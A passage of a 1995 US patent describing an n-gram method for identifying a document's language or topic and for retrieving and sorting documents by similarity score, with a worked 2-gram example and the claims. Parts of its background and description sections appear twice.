1991, pp. 1012-1015, it has been indicated that text analysis using synonyms is cumbersome and that text analysis using a knowledge-based approach is complex. This same article indicates that text understanding must be based on context and the recognition of text portions (i.e., sections of text, paragraphs or sentences). In "Developments in Automatic Text Retrieval", a published article by G. Salton in Science, Vol. 253, Aug. 30, 1991, pp. 974-980, the present state of document retrieval is summarized. It indicates that text analysis is a problem because there is a need to retrieve only documents of interest from large databases. The typical solution to this problem has been to generate content identifiers. This has been done because the meaning of a word cannot adequately be determined by consulting a dictionary without accounting for the context in which the word is used. It was indicated that the words in the text can also be used for context identification. Such retrieval systems are defined as full text retrieval systems. In "N-gram Statistics for Natural Language Understanding and Text Processing", a published article by C. Suen in IEEE Transactions On Pattern Analysis and Machine Intelligence, Vol. PAMI-1, No. 2, April 1979, two methods of processing natural language were described, one using keywords and a dictionary and one using n-grams. In the keyword approach, words are compared. In the n-gram approach, strings of letters are compared. Comparing strings of letters is faster and requires less memory than a keyword and dictionary method. In U.S. Pat. No. 5,020,019, entitled "Document Retrieval System", a system is described that searches documents using keywords with a learning feature that allows the user to assign weight to the different keywords in response to the result of a previous search. The present invention does not use a keyword approach. In U.S. Pat. No. 4,985,863, entitled "Document Storage and Retrieval", a method is described where documents are stored in sections. Sections of text, rather than keywords, are then used to retrieve similar documents. The present invention does not a keyword or sectioning approach. In U.S. Pat. No. 4,849,898, entitled "Method and Apparatus to Identify the Relation of Meanings Between Words in Text Expressions", a method is described that uses a letter-semantic analysis of keywords and words from a document in order to determine whether these words mean the same thing. This method is used to retrieve documents or portions of documents that deal with the same topic as the keywords. The present invention does not use semantic analysis. In U.S. Pat. No. 4,823,306, entitled "Text Search System", a method is described that generates synonyms of keywords. Different values are then assigned to each synonym in order to guide the search. The present invention does not generate synonyms. In U.S. Pat. No. 4,775,956, entitled "Method and System for Information Storing and Retrieval Using Word Stems and Derivative Pattern Codes Representing Families of Affixes", a method is described that uses a general set of affixes that are used to modify each keyword stem. This method reduces memory requirements that would otherwise be needed to store the synonyms of each keyword. The present invention does not modify keyword stems. In U.S. Pat. No. 4,358,824, entitled "Office Correspondence Storage and Retrieval System", a method is described that reduces documents to abstracts by recording the keywords used in each document. Keywords are then used to search for the documents of interest. The present invention does not replace the text of stored documents with keyword abstracts. SUMMARY OF THE INVENTION It is an object of this invention to provide a method of identifying the language that a given document is written in. It is another object of this invention to provide a method of retrieving documents, in a particular language, from a database by topic. It is another object of this invention to provide a method of sorting documents in a database by language. It is another object of this invention to provide a method of sorting documents in a database by topic. These objects are achieved by a new approach to document identification, retrieval, and sorting. The term documents refers to machine readable text, speech or graphics. The present invention uses a pattern recognition technique based on n-gram comparisons among documents instead of the traditional keyword or context-based approach. The removal of commonality among database documents provides sensitive discrimination among documents while allowing for a reduction in memory requirements (as compared with keyword and dictionary methods) and an increase in performance. The user can set the threshold used to determining whether documents are similar. BRIEF DESCRIPTION OF THE DRAWINGS FIG. 1 is a flow chart of the language identification algorithm; FIG. 2 is a flow chart of the identification algorithm for language and topic; FIG. 3 is a sample reference document for the Greenlandic language showing all the unique 2-grams, the frequency of occurrence of each 2-gram, and the weight of each 2-gram; FIG. 4 is a sample reference document for the Hawaiian language showing all the unique 2-grams, the frequency of occurrence of each 2-gram, and the weight of each 2-gram; FIG. 5 is a list of all the unique 2-grams from the reference documents of FIG. 3 and FIG. 4, the weight for each 2-gram, and the commonality weight that each 2-gram exhibits within the reference documents; FIG. 6 is a list of the commonality-removed weights for each unique 2-gram within the Greenlandic reference document; FIG. 7 is a list of the commonality-removed weights for each unique 2-gram within the Hawaiian reference document; FIG. 8 is a sample of an unidentified language showing all the unique 2-grams, the frequency of occurrence of each 2-gram, the weight of each 2-gram, and the commonality-removed weight of each 2-gram; FIG. 9 shows the score of the unidentified text of FIG. 8 with respect to the Greenlandic reference document of FIG. 3; FIG. 10 is a flow chart of the retrieval algorithm by language, and topic; and FIG. 11 is a flow chart of the database sorting algorithm by language, and topic. DESCRIPTION OF PREFERRED EMBODIMENTS The present invention describes a method for identifying, searching, and sorting documents. This method yields a sensitive, fast, and economical method for language identification, topic identification, document retrieval and document sorting. Throughout this specification and the accompanying claims, the term document will be used to refer to a set of information in machine readable format. The document may consists of text, speech or graphics. The method of the present invention can be easily implemented in any programming language or in hardware to perform such difficult tasks as identifying topics of documents, even if these documents are written in ideographic languages such as Japanese. This method can also be used to sort documents in a database into like categories without the need for prior identification of the categories or the documents contained therein. Instead of relying on keywords, synonym tables, or contextual information, the objects of the present invention are accomplished by a pattern recognition technique. The present invention is based upon the hypothesis that documents that are similar in language and/or topic look alike, in that they tend to contain many of the same n-grams (i.e., consecutive runs of n characters). They look alike not just in keywords but in all words used. This hypothesis suggests the rather startling conclusion that the topic of a document can reliably be deduced by enumerating the n-grams contained therein and comparing the result of that operation with the enumerated n-grams found in another ("reference") document. This realization allows for simplifications in the search algorithm used to identify related documents. These simplifications result in the ability to classify documents regardless of the language in which they are written. A high error ("garble") rate in the original text is also tolerated. The maximum tolerable error rate for dissimilar languages is higher than the maximum tolerable error rate for similar languages. For example, the maximum tolerable error rate for Swahili text when compared against Swedish text may be as high as 25% without causing erroneous results whereas the maximum tolerable error rate for Russian text when compared against Czech text may only be as high as 15% without causing erroneous results. FIG. 1 outlines a language identification algorithm. The first step consists of parsing text, which is written in an unidentified language, into n-grams. N-grams are consecutive runs of n characters where n is any positive integer greater than zero. Moderately long n-grams (i.e., n>3) are typically more informative than shorter n-grams, as they tend to embody information about the roots of words present in the text. The second step is to compare the frequency of occurrence of the n-grams in the unidentified text with the frequency of occurrence of these same n-grams in the text of known languages. The unidentified text is then identified as being written in the language of the text with which the unidentified text best compares. The allowable n-gram characters are defined by the user. For example, the n-gram elements for a particular language may be restricted to the letters of the alphabet for languages of interest and a space (i.e., ".sub.-- "). Small letters may be converted to capital letters and multiple spaces can be reduced to a single space in order to reduce the total number of possible n-grams. Punctuation may also be ignored in order to minimize memory requirements, and enhance performance. Strings of characters may also be eliminated or replaced by a user-defined character or string of characters. FIG. 2 outlines an algorithm that is useful for identifying the language, or topic of a document. A simple illustrative example of the major steps involved follows the description of the algorithm. Known examples of text in different languages and topics are collected as reference documents. There is no restriction on the form that these reference documents may take. Sample text from any source can be used. The number of reference documents and n-grams contained in these documents must be statistically significant. It has been empirically determined that for language identification, approximately ten documents, each having approximately one-thousand characters, is a statistically significant sample size. For topic identification within a particular language, which is a finer distinction than language identification, approximately fifty documents, each having approximately one-thousand characters, is a statistically significant sample size. The reference documents are parsed into n-grams. This is accomplished by making a separate list, for each reference document, of all the unique n-grams that occur in that reference document (where n is typically fixed at some value that is useful, such as n=5). The unidentified document is also parsed into a list of unique n-grams. Weights are assigned to each unique n-gram. The weight is determined by the relative frequency of occurrence of that n-gram in that particular reference document (i.e., the number of times that an n-gram occurs in a particular reference document divided by the aggregate total of all n-gram occurrences within that reference document). Weights are assigned to each n-gram in each reference document and to each n-gram in the unidentified document. The commonality among the reference documents is then removed from the reference documents as well as from the unidentified document. This is accomplished by first listing the unique n-grams among the reference documents. Second, a commonality weight is assigned to each unique reference document n-gram based on its mean relative frequency of occurrence (i.e., the sum of the individual weights for that one n-gram from all the reference documents divided by the total number of reference documents). The commonality weight of each n-gram is then subtracted from the weight of its corresponding n-gram within each reference document and from the weight of its corresponding n-gram within the unidentified document. The unidentified document is then compared to each of the reference documents. This is accomplished by scoring the unidentified document against each of the reference documents. The score for the unidentified document with respect to a reference document indicates the degree of similarity between the two documents. Scoring the unidentified document entails first, as mentioned above, subtracting the commonality weight derived from the reference documents from its corresponding n-gram weight within the unidentified document. If an n-gram appears in the unidentified document but does not appear in the reference documents the commonality weight for that n-gram is equal to zero. Each commonality-removed n-gram weight of the unidentified document (denoted Ui) is then multiplied by the commonality-removed n-gram weight of its corresponding n-gram in a particular reference document (denoted Ri). These products are then summed (i.e., "summation of products"). ##EQU1## Each commonality-removed n-gram weight in the reference document is then squared (i.e., Ri**2). These squared terms are then summed. Each commonality-removed n-gram weight in the unidentified document is then squared (i.e., Ui**2). These squared terms are also summed. These two sums are then multiplied together to form a "product of summations". ##EQU2## Finally, the score of the unidentified document with respect to a particular reference document is the "summation of products" divided by the square root of the "product of summations". ##EQU3## The unidentified document is scored against each of the reference documents. The user can define the score-threshold required for identifying a document as being similar to a reference document with respect to language or topic. When a user-defined threshold is used, there is a possibility that an unidentified document may not be identified as being similar to any of the reference documents. The user can avoid having to set this threshold by allowing the unidentified document to be identified with the reference document that produced the highest score. The following examples demonstrate the numerical steps involved with the present invention. These examples are intended to be exemplary of the individual steps of the algorithm and should not be viewed as limitations upon the claimed invention. FIG. 3 shows a reference document for the Greenlandic language (i.e., "Nanok nunane issigtune"). No preprocessing of the example is necessary. Two-grams will be used in this example. In order to reduce the number of possible 2-grams, the small letters will be capitalized and any multiple spaces will be reduced to a single space (i.e., ".sub.-- "). The Greenlandic reference document thus becomes "NANOK.sub.-- NUNANE.sub.-- ISSIGTUNE". All unique 2-grams for the Greenlandic reference document are shown in FIG. 3. They are NA, AN, NO, OK, K.sub.--, .sub.-- N, NU, UN, NE, E.sub.--, .sub.-- I, IS, SS, SI, IG, GT, TU. A weight is assigned to each of these 2-grams. The weight of a 2-gram is determined by dividing the frequency of occurrence of that particular 2-gram by the total number of (possibly non-unique) 2-grams present in the reference (i.e., the weight of the 2-gram NA is 2/21=0.095). FIG. 4 shows a reference document for the Hawaiian language (i.e., "I hele mai nei au e hai"). All reference documents must be parsed using the same n-gram structure (e.g., 2-grams in this example). Again, in order to reduce the number of possible 2-grams, the small letters will be capitalized and multiple spaces will be reduced to a single space. The Hawaiian reference document thus becomes "I.sub.-- HELE.sub.-- MAI.sub.-- NEI.sub.-- AU.sub.-- E.sub.-- HAI". All unique 2-grams for the Hawaiian reference document are shown in FIG. 4. They are I.sub.--, .sub.-- H, HE, EL, LE, E.sub.--, .sub.-- M, MA, AI, .sub.-- N, NE, EI, .sub.-- A, AU, U.sub.--, .sub.-- E, HA. A weight is assigned to each 2-gram in the same manner as described for the Greenlandic reference document above (e.g., the weight of the 2-gram I.sub.-- is 3/22=0.136). There is no requirement that the number of n-grams contained in the reference documents be similar. The algorithm requires no preprocessing of the documents. Even capitalization and the reduction of multiple spaces to a single space is not required for proper operation of the present invention. These steps are only taken in order to enhance performance and reduce memory requirements. The commonality among the reference documents is then removed. This is accomplished by first listing all unique 2-grams within all of the reference documents as shown in FIG. 5 (i.e., NA, AN, NO, OK, K.sub.--, .sub.-- N, NU, UN, NE, E.sub.--, .sub.-- I, IS, SS, SI, IG, GT, TU, I.sub.--, .sub.-- H, HE, EL, LE, .sub.-- M, MA, AI, EI, .sub.-- A, AU, U.sub.--, .sub.-- E, HA). The commonality weights are then determined for each unique 2-gram by dividing the sum of the weights across all references for each 2-gram by the total number of reference documents. For example, the commonality weight for the 2-gram NE is (0.095+0.045)/2=0.070 whereas the commonality weight for the 2-gram NA is (0.095+0)/2=0.048. The 2-gram NA has a weight of 0.095 in the Greenlandic reference while it has a weight of 0 in the Hawaiian reference because it does not appear in the Hawaiian reference. The commonality weight represents the average contribution of a particular 2-gram to each of the reference documents. This commonality is removed from both the reference documents and the unidentified document in order to better distinguish one document from another. Commonality is removed from the weight of a 2-gram within a document by subtracting the commonality weight from the weight of the corresponding 2-gram in that document. For example, the commonality-removed weight of the 2-gram NE in the Greenlandic reference document is 0.095-0.070=0.025. The commonality-removed weight of the 2-gram NE in the Hawaiian reference document is 0.045-0.070=-0.025. The step of removing commonality improves performance and simplifies the process of identifying documents. FIG. 5 also lists the commonality weight of each unique 2-gram across the reference documents. These commonality weights are then removed from the corresponding 2-gram weight in each reference document and from the unidentified document. FIG. 6 lists the commonality-removed weights for the unique 2-grams in Greenlandic while FIG. 7 lists the commonality-removed weights for the unique 2-grams in Hawaiian. The commonality-removed weights of a particular reference document are then used to calculate a similarity score for the reference document with respect to an unidentified document. FIG. 8 shows an example of text written in an unidentified language (i.e., "Martsime nanut"). The unidentified text must be parsed into the same n-gram structure as the reference documents (i.e., 2-grams). Once again, in order to reduce the number of possible 2-grams, the small letters will be capitalized and multiple spaces will be reduced to a single space. The unidentified document thus becomes "MARTSIME.sub.-- NANUT". The total number of unique 2-grams in the unidentified document, as listed in FIG. 8 are MA, AR, RT, TS, SI, IM, ME, E.sub.--, .sub.-- N, NA, AN, NU, UT. A weight is assigned to each 2-gram. Once again, the weight of a 2-gram is determined by dividing the frequency of occurrence of that 2-gram by the total number of 2-grams present in the unidentified text (e.g., the weight of MA in the unidentified text is 1/13=0.077). The commonality weights of the reference documents are then subtracted from the corresponding 2-grams in the unidentified documents (see FIG. 8). In FIG. 9, a similarity score is calculated for the unidentified text with respect to the Greenlandic reference document. The equation for this calculation is as follows: ##EQU4## where Ui represents the commonality-removed weight of a 2-gram within the unidentified text and Ri represents the commonality-removed weight of the corresponding 2-gram within the Greenlandic reference document which is being compared against the unidentified document. Each commonality-removed weight of the 2-grams in the unidentified text is multiplied by its corresponding commonality-removed weight in the Greenlandic reference document. Each commonality-removed n-gram weight in the Greenlandic reference document is then squared. These squared terms are then summed. Each commonality-removed n-gram weight in the unidentified document is then squared. These squared terms are then summed. These sums are multiplied together to form a "product of summations". Finally, the score of the unidentified document with respect to the Greenlandic reference document is the "summation of products" divided by the square root of the "product of summations". The result as seen in FIG. 9 is a score that indicates the similarity between the unidentified text and the Greenlandic reference document. A similarity score is generated for each reference document. The document can either be identified as being similar to the reference document that generated the highest score or similar to the reference document that generated a score that exceeds a user-defined threshold. In the latter approach, an identification is not forced (i.e., the unidentified document may not be identified as being similar to one of the reference documents). Also, with the latter approach, the unidentified document may be identified as being similar to a number of reference documents if these reference documents generate a score that exceeds the user-defined threshold. Certain text strings in a particular language, such as "is", "the", "and", "with", "for" etc. in English, useful for language identification, are normally useless for topic identification. The present invention solves the problem of finding distinctions among documents with respect to topic by removing the commonality among documents. Removing commonality among documents entails calculating the average for each n-gram frequency of occurrence within all of the documents and then subtracting these averages from each corresponding n-gram frequency of occurrence within each document. The removal of commonality makes the job of determining if a document is similar to another document simpler. Sensitivity to topic is achieved with no human intervention, irrespective of the language of the document. The user can again set the threshold for determining when documents are similar to each other with respect to topic. This algorithm works equally well in any language but topic identification only works when comparing documents that are written in a common language (or several closely related languages). This is because the topic is related to the pattern created by the n-grams. The pattern created by the n-grams is controlled by the language of the document. Topic identification can be done as easily in languages that have relatively few letters, such as English, as in languages that have many characters, such as ideographic languages (e.g., Japanese). While not wishing to be bound by theory, it is believed that the advantageous results of the present invention are obtained because the topic of a document constrains the n-grams used to discuss the topic. Topic identification then becomes a determination of how similar the documents are with respect to the n-grams used. FIG. 10 outlines the algorithm that is used to retrieve documents from a database. The documents can be retrieved with respect to a desired language or topic. A database typically contains numerous documents concerning many topics that are written in different languages. There is no requirement that these documents be in any particular form. An n-gram array is created for each database document. This is accomplished by making a list, for each database document, of the unique n-grams that occur in that document. Weights are assigned to each unique n-gram. The weight is determined by the frequency of occurrence of an n-gram in a particular document (i.e., the number of times that an n-gram occurs in a particular document divided by the aggregate total of all n-gram occurrences within that document). Weights are then assigned to each n-gram in each database document. The commonality among the database documents is then removed from the database documents and the query. This is accomplished by first listing all the unique n-grams within all of the documents. Second, a commonality weight is assigned to each unique n-gram based on its mean relative frequency of occurrence. The commonality weight for each n-gram is then subtracted from the weight of its corresponding n-gram within each database document and from the weight of its corresponding n-gram within the query. The query is submitted by the user. The query represents the type of document that the user wishes to retrieve from the database (i.e., documents with a similar topic or language). There is no requirement on the form that the query must take. Note that a query concerning a topic of interest will result in documents retrieved on that topic that are written in the language of the query. Documents on that topic that are written in a language that is different from the query will normally not be retrieved. This is because different languages typically use different n-grams to represent the same topic. The query is then parsed into n-grams. This is accomplished by making a list of all the unique n-grams that occur in the query. Weights are assigned to each unique n-gram within the query. The weight is determined by the frequency of occurrence of that n-gram within the query. The commonality weights are then subtracted from the corresponding 2-grams within the query. The query is then compared to each of the database documents by scoring the query against each of the database documents. The score is obtained by first multiplying each commonality-removed n-gram weight of the query (e.g., Qi) by the commonality-removed weight of its corresponding n-gram in a particular database document (e.g., Di). These products are then summed (i.e., "summation of products"). ##EQU5## Each n-gram in the database document is then squared (e.g., Di**2). These squared terms are then summed. Each n-gram in the query is then squared (e.g., Qi**2). These squared terms are then summed. These sums are then multiplied together to form a "product of summations". ##EQU6## Finally, the score of the database document with respect to the query is the "summation of products" divided by the square root of the "product of the summations". ##EQU7## A score is generated for each database document with respect to the query. The user defines the threshold score that is used to determine whether a database document is similar to the query with respect to language or topic. The examples given above concerning the steps involved in language identification are applicable for describing the steps involved in this algorithm for retrieving documents from a database. N-grams can also be used for solving the problems associated with sorting database documents into categories containing like documents. The algorithm of the present invention does not require any guidance from the user or any preprocessing of the database beyond that described above. The database can be sorted into categories of language or topic. Documents can easily be cross-referenced into different categories (i.e., one document may be sorted into a particular language category as well as a particular topic category). FIG. 11 outlines the algorithm that is used to sort database documents into categories. The documents can be sorted with respect to a language or topic. A database typically contains numerous documents. These documents may deal with different topics and may be written in different languages. There is no requirement that these documents be in any particular form. An n-gram array is created for each database document. This is accomplished by making a separate list, for each database document, of the unique n-grams that occur in that document. Weights are assigned to each unique n-gram. The weight is determined by the frequency of occurrence of that n-gram in that particular document. Weights are then assigned to each n-gram in each database document. The commonality among the database documents is then removed from each database document. This is accomplished by first listing the unique n-grams that occur in the documents (i.e., temporarily thinking of the separate database documents as one large document, then listing the unique n-grams that occur in this one document). Second, a commonality weight is assigned to each n-gram based on the frequency of occurrence (i.e., the total number of occurrences in all of the database documents of that particular n-gram divided by the total number of unique n-grams within all of the database documents). Each commonality weight is divided by the total number of database documents. The commonality weight of each n-gram is then subtracted from the weight of its corresponding n-gram within each database document. Each database document is then compared to each of the other database documents. This is accomplished by scoring each database document against each of the other database documents. The score consists of first multiplying each commonality-removed n-gram weight from a database document (e.g., Dli) by its corresponding commonality-removed n-gram weight from the database document that is being compared (e.g., D2i). These products are then summed to form a "summation of products". ##EQU8## Each commonality-removed n-gram weight in the first database document is then squared (e.g., Dli**2). These squared terms are summed. Each commonality-removed n-gram weight in the second database document, which is being compared to the first database document, is then squared (e.g., D2i**2). These squared terms are summed. These sums are then multiplied together to form a "product of summations". ##EQU9## Finally, the score of the first database document with respect to the second database document is the "summation of products" divided by the square root of the "product of summations". ##EQU10## A score is generated for each database document with respect to each of the other database documents. The user defines the threshold that the score must attain in order for two documents being compared to be declared similar. Similar documents are then sorted into like categories with respect to language or topic. The examples given above concerning the steps involved in language identification are applicable for describing the steps involved in this algorithm for sorting database documents. Present research activities in text processing have focused on content-based (i.e., linguistic) analysis. The present invention has focused solely on a pattern recognition (i.e., non-linguistic) analysis. The present invention does not require any additional information pertaining to syntax, semantics or grammar. The benefits of applying n-gram analysis to topic identification have not been fully appreciated until now. The topic identification method of the present invention operates in any language with equal ease (but in only one language at a time). It can be initiated by a non-reader of the text language and requires no special training. The method is robust in the presence of garbled text (i.e., text that contains errors). The user sets the threshold for determining if documents are similar. Uninformative commonality is automatically removed from the documents. Changes and modifications in the specifically described embodiments, especially in the programming language used to implement this invention and the specific formula for the similarity score derived from the n-gram weights, can be carried out without departing from the scope of the invention which is intended to be limited only by the scope of the appended claims. * * * * * United States Patent 5,418,951 Damashek May 23, 1995 Method of retrieving documents that concern the same topic Abstract A method of identifying, retrieving, or sorting documents by language or topic involving the steps of creating an n-gram array for each document in a database, parsing an unidentified document or query into n-grams, assigning a weight to each n-gram, removing the commonality from the n-grams, comparing each unidentified document or query to each database document, scoring the unidentified document or query against each database document for similarity, and based on the similarity score, identifying retrieving, or sorting the document or query with-respect to language or topic. Inventors: Damashek; Marc (Hampstead, MD) Assignee: The United States of America as represented by the Director of National (Washington, DC) Appl. No.: 316495 Filed: September 30, 1994 U.S. Class: 395/600; 364/DIG.1; 364/DIG.2 Intern'l Class: G06F 007/00 Field of Search: 395/600 364/DIG. 1,DIG. 2 References Cited [Referenced By] U.S. Patent Documents 4754489 Aug., 1988 Bokser 382/40. 5031206 Jul., 1991 Riskin 379/97. 5062143 Oct., 1991 Schmitt 382/36. 5150425 Sep., 1992 Martin et al. 382/14. 5182708 Jan., 1993 Ejiri 364/419. 5251131 Oct., 1993 Massand et al. 364/419. 5276741 Jan., 1994 Aragon 382/40. 5293466 Mar., 1994 Bringmann 395/114. Primary Examiner: Black; Thomas G. Assistant Examiner: Homere; Jean R. Attorney, Agent or Firm: Maser; Thomas O. Morelli; Robert D. Parent Case Text This Application is a Continuation of U.S. patent application Ser. No. 07/932,522, filed Aug. 20, 1992, which is now abandoned. Claims 1. A method of retrieving at least one document that concerns the same topic as a sample of text by comparing the at least one document to the sample of text, comprising the steps of: a) constructing a first list of unique character groupings that occur in one of the at least one document for each of the at least one document; b) constructing a second list of unique character groupings that occur in the sample of text; c) assigning a first numerical value to each unique character grouping on each first list, where the first numerical value assigned to one of the unique character groupings is equal to the number of occurrences of the unique character grouping within the document divided by the total number of character groupings within the document; d) assigning a second numerical value to each unique character grouping on the second list, where the second numerical value assigned to one of the unique character groupings is equal to the number of occurrences of the unique character grouping within the sample of text divided by the total number of character groupings within the sample of text; e) constructing a third list of unique character groupings that occur in the at least one document and the sample of text; f) assigning a third numerical value to each unique character grouping on the third list, where the third numerical value assigned to one of the unique character groupings is equal to the sum of the first numerical values of the unique character grouping from all of the first lists divided by the total number of first lists; g) replacing each first numerical value on each first list with a corresponding fourth numerical value, where the fourth numerical value for one of the unique character groupings is equal to the first numerical value of the unique character grouping minus the corresponding third numerical value for the unique character grouping; h) replacing each second numerical value on the second list with a corresponding fifth numerical value, where the fifth numerical value for one of the unique character groupings is equal to the second numerical value of the unique character grouping minus the corresponding third numerical value for the unique character grouping; i) calculating a score for each at least one document with respect to the sample text, where said score is the summation of the products of the fifth numerical values times the corresponding fourth numerical values divided by the square root of the products of the summation of the squares of the fifth numerical values times the summation of the squares of the corresponding fourth numerical values; and j) retrieving the documents from the at least one document that obtained a calculated score in the previous step that is above a user-definable score, where each retrieved document is deemed to concern the same topic as the sample of text. 2. The method of claim 1, wherein said step of constructing a first list of unique character groupings comprises constructing a first list of unique character groupings where each character grouping is a group of consecutive characters of the same length, where the length is any positive integer, where each successive character grouping begins at a character position that is one character position away from the beginning of the immediately preceding character grouping. 3. The method of claim 1, wherein said step of constructing a second list of unique character groupings comprises constructing a second list of unique character groupings where each character grouping is a group of consecutive characters of the same length, where the length is any positive integer, where each successive character grouping begins at a character position that is one character position away from the beginning of the immediately preceding character grouping. 4. The method of claim 1, further comprising the step of replacing the small letters in the sample text and the at least one document with corresponding capital letters. 5. The method of claim 1, further comprising the step of discarding the punctuation marks in the sample text and the at least one document. 6. The method of claim 1, further comprising the step of removing multiple spaces in the sample text and the at least one document. 7. The method of claim 2, wherein said step of constructing a second list of unique character groupings comprises constructing a second list of unique character groupings where each character grouping is a group of consecutive characters of the same length, where the length is any positive integer, where each successive character grouping begins at a character position that is one character position away from the beginning of the immediately preceding character grouping. 8. The method of claim 7, further comprising the step of replacing the small letters in the sample text and the at least one document with corresponding capital letters. 9. The method of claim 8, further comprising the step of discarding the punctuation marks in the sample text and the at least one document. 10. The method of claim 9, further comprising the step of removing multiple spaces in the sample text and the at least one document. Description BACKGROUND OF THE INVENTION 1. Field of the Invention This invention relates to a document retrieval method, and more particularly to a document retrieval method capable of full text searching without the need for keyword or context-based information. This method can be used to identify, retrieve, and sort documents by topic or language. This method is also useful for identifying, retrieving, and sorting any form of communication such as acoustic signals (e.g., speech) and graphic symbols (e.g., pictures) that can be represented in machine readable format. 2. Description of Related Art In "DARPA Eyes Smart Text Sifters", a published article by R. Colin Johnson in Electronic Engineering Times, Feb. 17, 1992, pp. 35 it was indicated that extensive research efforts have been expended to find better ways of searching textual databases in order to retrieve documents of concern to the user. It was indicated that several fundamental problems stand in the way of realizing any meaningful breakthroughs. One technique to improve searches has been to create specialized hardware that can process information faster. The problem with this approach is that the improvements in processing speed have not kept pace with the rate at which database information has expanded. It was mentioned that a fundamental theoretical breakthrough was required to improve the way information is retrieved from large databases. Conventional information retrieval systems are still based on using keywords or phrases with operators (e.g., and, or, not) to identify documents of interest. The problem with this technique is that documents may contain a synonym of the keyword rather than the keyword itself (e.g., car vs. automobile), or an inflected form of the keyword (e.g., retrieving vs. retrieve). Such systems are typically sensitive to spelling or data-transmission errors at the input. The operators may also be difficult to use. Additional problems include identifying appropriate keywords, identifying appropriate synonyms, and retrieving either insufficient, voluminous and/or extraneous documents. Typically an extensive table of synonyms is used to mitigate these problems. But this method increases memory requirements and slows processing time. Another problem with keyword searches is that the meaning of the keyword usually depends on the context in which it is used. Therefore without some indication of the desired context of the keyword, the chances of retrieving unwanted documents are great. Prior approaches to document retrieval have attempted to overcome this problem by adding contextual information to the search using techniques such as context vectors, conceptual graphs, semantic networks, and inference networks. These techniques also increase memory requirements and slow processing time. Adding context information is also a task requiring significant time of a trained individual. In "Global Text Matching for Information Retrieval", a published article by G. Salton and C. Bucklay in Science, Vol. 253, Aug. 30, 1991, pp. 1012-1015, it has been indicated that text analysis using synonyms is cumbersome and that text analysis using a knowledge-based approach is complex. This same article indicates that text understanding must be based on context and the recognition of text portions (i.e., sections of text, paragraphs or sentences). In "Developments in Automatic Text Retrieval", a published article by G. Salton in Science, Vol. 253, Aug. 30, 1991, pp. 974-980, the present state of document retrieval is summarized. It indicates that text analysis is a problem because there is a need to retrieve only documents of interest from large databases. The typical solution to this problem has been to generate content identifiers. This has been done because the meaning of a word cannot adequately be determined by consulting a dictionary without accounting for the context in which the word is used. It was indicated that the words in the text can also be used for context identification. Such retrieval systems are defined as full text retrieval systems. In "N-gram Statistics for Natural Language Understanding and Text Processing", a published article by C. Suen in IEEE Transactions On Pattern Analysis and Machine Intelligence, Vol. PAMI-1, No. 2, April 1979, two methods of processing natural language were described, one using keywords and a dictionary and one using n-grams. In the keyword approach, words are compared. In the n-gram approach, strings of letters are compared. Comparing strings of letters is faster and requires less memory than a keyword and dictionary method. In U.S. Pat. No. 5,020,019, entitled "Document Retrieval System", a system is described that searches documents using keywords with a learning feature that allows the user to assign weight to the different keywords in response to the result of a previous search. The present invention does not use a keyword approach. In U.S. Pat. No. 4,985,863, entitled "Document Storage and Retrieval", a method is described where documents are stored in sections. Sections of text, rather than keywords, are then used to retrieve similar documents. The present invention does not a keyword or sectioning approach. In U.S. Pat. No. 4,849,898, entitled "Method and Apparatus to Identify the Relation of Meanings Between Words in Text Expressions", a method is described that uses a letter-semantic analysis of keywords and words from a document in order to determine whether these words mean the same thing. This method is used to retrieve documents or portions of documents that deal with the same topic as the keywords. The present invention does not use semantic analysis. In U.S. Pat. No. 4,823,306, entitled "Text Search System", a method is described that generates synonyms of keywords. Different values are then assigned to each synonym in order to guide the search. The present invention does not generate synonyms. In U.S. Pat. No. 4,775,956, entitled "Method and System for Information Storing and Retrieval Using Word Stems and Derivative Pattern Codes Representing Families of Affixes", a method is described that uses a general set of affixes that are used to modify each keyword stem. This method reduces memory requirements that would otherwise be needed to store the synonyms of each keyword. The present invention does not modify keyword stems. In U.S. Pat. No. 4,358,824, entitled "Office Correspondence Storage and Retrieval System", a method is described that reduces documents to abstracts by recording the keywords used in each document. Keywords are then used to search for the documents of interest. The present invention does not replace the text of stored documents with keyword abstracts. SUMMARY OF THE INVENTION It is an object of this invention to provide a method of identifying the language that a given document is written in. It is another object of this invention to provide a method of retrieving documents, in a particular language, from a database by topic. It is another object of this invention to provide a method of sorting documents in a database by language. It is another object of this invention to provide a method of sorting documents in a database by topic. These objects are achieved by a new approach to document identification, retrieval, and sorting. The term documents refers to machine readable text, speech or graphics. The present invention uses a pattern recognition technique based on n-gram comparisons among documents instead of the traditional keyword or context-based approach. The removal of commonality among database documents provides sensitive discrimination among documents while allowing for a reduction in memory requirements (as compared with keyword and dictionary methods) and an increase in performance. The user can set the threshold used to determining whether documents are similar. BRIEF DESCRIPTION OF THE DRAWINGS FIG. 1 is a flow chart of the language identification algorithm; FIG. 2 is a flow chart of the identification algorithm for language and topic; FIG. 3 is a sample reference document for the Greenlandic language showing all the unique 2-grams, the frequency of occurrence of each 2-gram, and the weight of each 2-gram; FIG. 4 is a sample reference document for the Hawaiian language showing all the unique 2-grams, the frequency of occurrence of each 2-gram, and the weight of each 2-gram; FIG. 5 is a list of all the unique 2-grams from the reference documents of FIG. 3 and FIG. 4, the weight for each 2-gram, and the commonality weight that each 2-gram exhibits within the reference documents; FIG. 6 is a list of the commonality-removed weights for each unique 2-gram within the Greenlandic reference document; FIG. 7 is a list of the commonality-removed weights for each unique 2-gram within the Hawaiian reference document; FIG. 8 is a sample of an unidentified language showing all the unique 2-grams, the frequency of occurrence of each 2-gram, the weight of each 2-gram, and the commonality-removed weight of each 2-gram; FIG. 9 shows the score of the unidentified text of FIG. 8 with respect to the Greenlandic reference document of FIG. 3; FIG. 10 is a flow chart of the retrieval algorithm by language, and topic; and FIG. 11 is a flow chart of the database sorting algorithm by language, and topic. DESCRIPTION OF PREFERRED EMBODIMENTS The present invention describes a method for identifying, searching, and sorting documents. This method yields a sensitive, fast, and economical method for language identification, topic identification, document retrieval and document sorting. Throughout this specification and the accompanying claims, the term document will be used to refer to a set of information in machine readable format. The document may consists of text, speech or graphics. The method of the present invention can be easily implemented in any programming language or in hardware to perform such difficult tasks as identifying topics of documents, even if these documents are written in ideographic languages such as Japanese. This method can also be used to sort documents in a database into like categories without the need for prior identification of the categories or the documents contained therein. Instead of relying on keywords, synonym tables, or contextual information, the objects of the present invention are accomplished by a pattern recognition technique. The present invention is based upon the hypothesis that documents that are similar in language and/or topic look alike, in that they tend to contain many of the same n-grams (i.e., consecutive runs of n characters). They look alike not just in keywords but in all words used. This hypothesis suggests the rather startling conclusion that the topic of a document can reliably be deduced by enumerating the n-grams 